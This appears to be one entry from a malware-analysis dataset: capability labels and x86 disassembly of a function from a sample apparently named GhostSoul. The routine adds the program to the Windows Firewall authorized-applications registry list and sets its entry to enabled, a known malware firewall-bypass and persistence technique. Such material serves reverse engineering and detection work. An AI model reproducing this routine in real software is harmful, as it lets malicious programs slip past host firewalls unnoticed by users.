Function at 0x405df0
Capabilities:
Persist via windows service
Print debug messages
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x750
push ebx
push ebp
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push edi
lea eax, [esp + 0x14]
push eax
push 0xf003f
xor ebx, ebx
push ebx
push str.SYSTEMControlSet001ServicesSharedAccessParametersFirewallPolicyStandardProfileAuthorizedApplicationsList
push reloc.OLEAUT32.dll_SysReAllocString
call esi
test eax, eax
jne 0x406046
mov byte [esp + 0x340], bl
mov ecx, 0x40
lea edi, [esp + 0x341]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [esp + 0x238], bl
xor eax, eax
mov ecx, 0x40
lea edi, [esp + 0x239]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x10]
push ecx
push 0xf003f
push ebx
stosw word es:[edi], ax
push str.SOFTWAREGhostSoul
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [esp + 0x24], ebx
mov dword [esp + 0x2c], 0x104
stosb byte es:[edi], al
call esi
test eax, eax
jne 0x406046
mov ebp, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea edx, [esp + 0x18]
push edx
mov edx, dword [esp + 0x14]
lea eax, [esp + 0x554]
push eax
lea ecx, [esp + 0x28]
push ecx
push ebx
push str.Path
push edx
call ebp
test eax, eax
mov esi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
jne 0x405f0e
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [esp + 0x550]
push ecx
lea edx, [esp + 0x23c]
push 0x4274b0
push edx
call fcn.00409160
lea eax, [esp + 0x244]
push str.GhostSoul.exe
push eax
call fcn.0040b1e0
lea ecx, [esp + 0x24c]
sub eax, ecx
push eax
mov edx, ecx
push edx
lea eax, [esp + 0x35c]
push eax
call fcn.00409860
add esp, 0x20
push str._n_s_n
call esi
mov byte [esp + 0x130], bl
xor eax, eax
mov ecx, 0x40
lea edi, [esp + 0x131]
rep stosd dword es:[edi], eax
push str.Game.exe
lea ecx, [esp + 0x344]
push ecx
stosw word es:[edi], ax
lea edx, [esp + 0x138]
push 0x427724
push edx
stosb byte es:[edi], al
call fcn.00409160
add esp, 0x10
push str._n_s_n
call esi
xor eax, eax
mov byte [esp + 0x28], bl
mov ecx, 0x40
lea edi, [esp + 0x29]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push str.::Enabled:GostSoul
lea eax, [esp + 0x134]
push eax
lea ecx, [esp + 0x30]
push 0x427724
push ecx
call fcn.00409160
add esp, 0x10
push str._n_s_n_s_n
call esi
xor eax, eax
mov byte [esp + 0x448], bl
mov ecx, 0x40
lea edi, [esp + 0x449]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea edx, [esp + 0x1c]
push edx
lea eax, [esp + 0x65c]
push eax
mov eax, dword [esp + 0x1c]
lea ecx, [esp + 0x2c]
push ecx
push ebx
lea edx, [esp + 0x140]
push edx
push eax
mov dword [esp + 0x34], 0x104
call ebp
test eax, eax
jne 0x406019
lea ecx, [esp + 0x658]
push ecx
lea edx, [esp + 0x44c]
push 0x4274b0
push edx
call fcn.00409160
lea eax, [esp + 0x454]
push str.Disabled
push eax
call fcn.0040b1e0
add esp, 0x14
test eax, eax
je 0x406046
lea eax, [esp + 0x28]
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x406010
jmp 0x406027
lea eax, [esp + 0x28]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x406020
sub eax, edx
inc eax
push eax
mov eax, dword [esp + 0x18]
lea ecx, [esp + 0x2c]
push ecx
push 1
push ebx
lea edx, [esp + 0x140]
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
pop edi
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret